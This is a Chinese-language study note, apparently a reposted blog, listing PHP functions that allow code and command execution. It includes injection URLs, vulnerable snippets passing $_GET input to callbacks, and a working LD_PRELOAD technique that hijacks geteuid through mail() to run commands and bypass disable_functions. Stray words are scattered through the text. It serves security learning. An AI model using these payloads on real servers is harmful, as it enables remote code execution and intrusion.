PHP危險函數總結學習

1.PHP中代碼執行的危險函數

call_user_func()

第一個參數 callback 是被調用的回調函數,其他參數是回調函數的參數。 傳入call_user_func()的參數不能爲引用傳遞php

call_user_func($_GET[ '1'],$_GET['2']);
codeexec.php?1=assert&2=phpinfo()

call_user_func_array()

把第一個參數做爲回調函數(callback)調用,把參數數組做(param_arr)爲回調函數的的參數傳入。html

call_user_func_array($_GET['1'],$_GET['2']);web

codeexec.php?1=assert&2[]=phpinfo()shell

create_function

該函數的內部實現用到了eval,因此也具備相同的安全問題。第一個參數args是後面定義函數的參數,第二個參數是函數的代碼。apache

$a = $_GET['a']; $b = create_function('$a',"echo $a"); $b('');
codeexec.php?a=phpinfo();

array_map()

做用是爲數組的每一個元素應用回調函數 。其返回值爲數組,是爲 array1 每一個元素應用 callback函數以後的數組。 callback 函數形參的數量和傳給 array_map() 數組數量,二者必須同樣。數組

<?php $array = array(0,1,2,3,4,5); array_map($_GET[1],$array); ?>
codeexec.php?1=phpinfo
preg_match+/e選項

搜索subject中匹配pattern的部分, 以replacement進行替換。當使用被棄用的 e 修飾符時, 這個函數會轉義一些字符,在完成替換後,引擎會將結果字符串做爲php代碼使用eval方式進行評估並將返回值做爲最終參與替換的字符串。瀏覽器

 

2.php命令執行函數

system

若是 PHP 運行在服務器模塊中, system() 函數還會嘗試在每行輸出完畢以後, 自動刷新 web 服務器的輸出緩存。緩存

shell_exec(沒有回顯的命令執行)

經過 shell 環境執行命令,而且將完整的輸出以字符串的方式返回。(和``反引號效果相同)安全

passthru

同 exec() 函數相似, passthru() 函數 也是用來執行外部命令(command)的。 當所執行的 Unix 命令輸出二進制數據, 而且須要直接傳送到瀏覽器的時候, 須要用此函數來替代 exec() 或 system() 函數。bash

exec(只返回一行數據)

 

popen

打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。 返回一個和 fopen() 所返回的相同的文件指針,只不過它是單向的(只能用於讀或寫)而且必須用 pclose() 來關閉。此指針能夠用於 fgets(),fgetss() 和 fwrite()。

proc_open
<?php $descriptorspec=array( //這個索引數組用力指定要用proc_open建立的子進程的描述符
0=>array('pipe','r'), //STDIN
1=>array('pipe','w'),//STDOUT
2=>array('pipe','w') //STDERROR
); $handle=proc_open('dir',$descriptorspec,$pipes,NULL); //$pipes中保存的是子進程建立的管道對應到 PHP 這一端的文件指針($descriptorspec指定的)
if(!is_resource($handle)){ die('proc_open failed'); } //fwrite($pipes[0],'ipconfig');
print('stdout:<br/>'); while($s=fgets($pipes[1])){ print_r($s); } print('===========<br/>stderr:<br/>'); while($s=fgets($pipes[2])){ print_r($s); } fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($handle); ?>

ob_start()

bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

當調用 output_callback 時,它將收到輸出緩衝區的內容做爲參數 並預期返回一個新的輸出緩衝區做爲結果,這個新返回的輸出緩衝區內容將被送到瀏覽器。

<?php $cmd = 'system'; ob_start($cmd); //將命令存儲到內部緩衝區 echo "$_GET[a]"; ob_end_flush(); 清除內部緩衝區,此時將輸出緩衝區的內容看成參數執行並輸入執行結果,即執行system($_GET(a)) ?>

mail()  第五個參數 excrt_cmd

第五個參數支持添加附加的命令做爲發送郵件時候的配置,好比使用-f參數能夠設置郵件發件人等。

若是傳遞了第五個參數(extra_cmd),則用sprintf將sendmail_path和extra_cmd拼接到sendmail_cmd中,隨後將sendmail_cmd丟給popen執行,若是系統默認sh是bash,popen會派生bash進程,而咱們剛纔提到的bash 破殼漏洞,直接就致使咱們能夠利用mail()函數執行任意命令,繞過disable_functions的限制

即mail->poen->bash調用鏈

可是若是使用了php_escape_shell_cmd函數會對特殊字符(包括&#;`|*?~<>^()[]{}$\, \x0A and \xFF. ‘ 等)進行轉義,咱們能夠經過putenv函數來設置一個包含自定義函數的環境變量,而後經過mail()來觸發

putenv()

bool putenv ( string $setting )

添加 setting 到服務器環境變量,環境變量僅存活於當前請求期間,在請求結束時環境會恢復到初始狀態。 即咱們可以自定義環境變量

 好比:

LD_PRELOAD是Linux系統的下一個有趣的環境變量,它容許你定義在程序運行前優先加載的動態連接庫

這個功能主要就是用來有選擇性的載入不一樣動態連接庫中的相同函數。
經過這個環境變量,咱們能夠在主程序和其動態連接庫的中間加載別的動態連接庫,甚至覆蓋正常的函數庫。
一方面,咱們能夠以此功能來使用本身的或是更好的函數(無需別人的源碼),而另外一方面,咱們也能夠以向別人的程序注入程序,從而達到特定的目的。

它容許你定義在程序運行前優先加載的動態連接庫,這說明咱們幾乎能夠劫持PHP的大部分函數,好比php的mail函數其實是調用了系統的sendmail命令,咱們選一個庫函數geteuid

而後編寫一個本身的動態連接程序,tr1ple.c

#include<stdlib.h> #include<stdio.h> #include<string.h>

void payload(){ system("cat /flag"); } int geteuid(){ if(geteenv("LD_PRELOAD")==NULL){ return 0; } unsetenv("LD_PRELOAD"); payload(); }

當咱們編寫的共享庫的geteuid函數被調用時將執行命令,測試編譯時平臺儘可能與目標相近。

運行:

gcc -c -fPIC tr1ple.c -o tr1ple gcc --share tr1ple -o tr1ple.so

此時生成了tr1ple.so,咱們將so文件放在web目錄下,而後編寫php文件進行測試:

<?php putenv("LD_PRELOAD=/var/www/html/tr1ple.so"); mail("1@2","","","",""); ?>

而後訪問後就會在web目錄下產生2333文件:

因此就達到了劫持geteuid函數的目的,讓程序調用咱們的惡意so文件中函數,咱們讓php文件調用putenv來設置一個臨時環境變量LD_PRELOAD,以便於在程序執行時去加載咱們的so,那麼關鍵就是這裏。那麼聯想一下若是咱們能劫持其餘庫函數,那麼也能達到相同的效果,由於php是用c寫的,mail調用了sendmail命令,sendmail命令又調用了geteuid函數,那就有如下:

1.若是其餘php函數也調用了sendmail命令;

2.若是其它php函數調用系統命令並調用c的庫函數

以上兩種可能應該都是存在的,均可能產生風險。

assert

它也能來動態代碼執行,可是隻是php5.x,7.x裏就是即便參數是字符串也不執行

dl()

dl()函數容許在php腳本里動態加載php模塊,默認是加載extension_dir目錄裏的擴展,
該選項是PHP_INI_SYSTEM範圍可修改的,只能在php.ini或者apache主配置文件裏修改
固然,你也能夠經過enable_dl選項來關閉動態加載功能,而這個選項默認爲On的,事實上也不多人注意到這個。
dl()函數在設計時存在安全漏洞,能夠用../這種目錄遍歷的方式指定加載任何一個目錄裏的so等擴展文件,extension_dir限制能夠被隨意饒過。
因此咱們能夠上傳本身的so文件,而且用dl函數加載這個so文件而後利用so文件裏的函數執行其餘操做,
包括系統命令。

ini_set()/ini_alter()

設置指定配置選項的值。這個選項會在腳本運行時保持新的值,並在腳本結束時恢復。若是能結合call_user_func函數就能進行調用設置。

不是全部有效的選項都可以用 ini_set() 來改變的。 這裏有個有效選項的清單附錄,附錄地址爲https://www.php.net/manual/zh/ini.list.php

imap_mail

imap_mail在執行時也會fork execve,去調用sendmail,所以也會加載咱們的so

參數設置與mail相同

參考(侵刪):

https://www.k0rz3n.com/2019/02/12/PHP%20%E4%B8%AD%E5%8F%AF%E4%BB%A5%E5%88%A9%E7%94%A8%E7%9A%84%E5%8D%B1%E9%99%A9%E7%9A%84%E5%87%BD%E6%95%B0/#8-mail-%E7%AC%AC%E4%BA%94%E4%B8%AA%E5%8F%82%E6%95%B0-excrt-cmd

原文出處:https://www.cnblogs.com/tr1ple/p/11202512.html

相關文章
相關標籤/搜索